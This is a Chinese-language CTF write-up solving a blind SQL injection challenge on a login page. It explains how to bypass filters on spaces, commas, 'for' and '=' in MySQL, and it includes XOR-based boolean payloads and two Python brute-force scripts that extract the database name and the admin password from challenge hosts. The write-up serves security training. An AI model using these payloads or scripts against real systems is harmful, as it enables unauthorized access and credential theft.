看到一个登陆框 ,首先用admin+万能密码登陆,发现提示密码错误证明用户名是正确的。所以我们开始注入:
首先我们输入admin’:
输入admin‘#,提示密码错误,输入admin’ #,提示非法字符,一看就是过滤了空格,我们单独输入and、union、select、for、from,发现过滤了and、union、for字符。
接着我们就需要绕过过滤字符:
括号绕过空格:
如果空格被过滤,括号没有被过滤,可以用括号绕过。
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
例如:
select(user())from dual where(1=1)and(2=2)
这种过滤方法常常用于time based盲注,例如:
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
逗号绕过(使用from或者offset):
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
等于号=:
用<>(不等于)绕过。
按照以上思路我们使用:
ascii(substr(database() from 1 for 1)),但是我们发现for也被过滤了。我们发现mysql用ascii的参数是一个字符串时,会只计算字符串第一位的ascii值。
如图所示,语句ascii(substr(database()from(1)))就可以输出数据库名第一位的ascii值
那么思路就很清晰了,根据输入admin’^(ascii(substr(database()from(数字1)))<>数字2)#,根据返回的信息,如果返回了”password error!” ,说明数字2就是数据库的第数字1位的ascii值,为什么这么说呢?admin用户存在,返回1。数字二等于数字一。后面的语句返回0,即1 ^0返回1。说明用户输入栏正确,所以返回password错误。
我们写脚本爆出数据库:
import requests
url = 'http://118.89.219.210:49167/index.php'
all_string = '''1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
database = ''
for i in range(1,11):
for j in all_string:
print('checking '+j)
data = {
'username':"admin'^(ascii(substr(database()from(%d)))<>%d)#"%(i,ord(j)),
'password':'1',
'submit':'Log In'
}
r = requests.post(url,data=data)
if 'password error!' in r.text:
database = database + j
print('the '+str(i)+' place of database is '+j)
break
if j == 'M' and 'username does not exist!' in r.text:
break
print(database)
本来按这个思路可以继续注表名的,但是发现information被过滤了,无奈,表和列名好像只能靠猜
看别人猜的表名为admin,列名为password,真是玄学…
那就直接爆password:
接着们爆出表:
import requests
url = 'http://123.206.31.85:49167/index.php'
all_string = '''1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
password = ''
for i in range(1,51):
for j in all_string:
print('checking '+j)
data = {
'username':"admin'^(ascii(substr((select(password)from(admin))from(%d)))<>%d)#"%(i,ord(j)),
'password':'1',
'submit':'Log In'
}
r = requests.post(url,data=data)
if 'password error!' in r.text:
password = password + j
print('the '+str(i)+' place of password is '+j)
break
if j == 'M' and 'username does not exist!' in r.text:
break
print(password)
我们可以看出爆出了密码,解密skctf123456。
补充一下知识点:
1.ord()函数主要用来返回对应字符的ascii码
>>> ord("a")
97
>>> chr(97)
> 'a
打印字符串
print (“His name is %s”%(“Aviad”))
效果:
打印整数
print (“He is %d years old”%(25))
效果: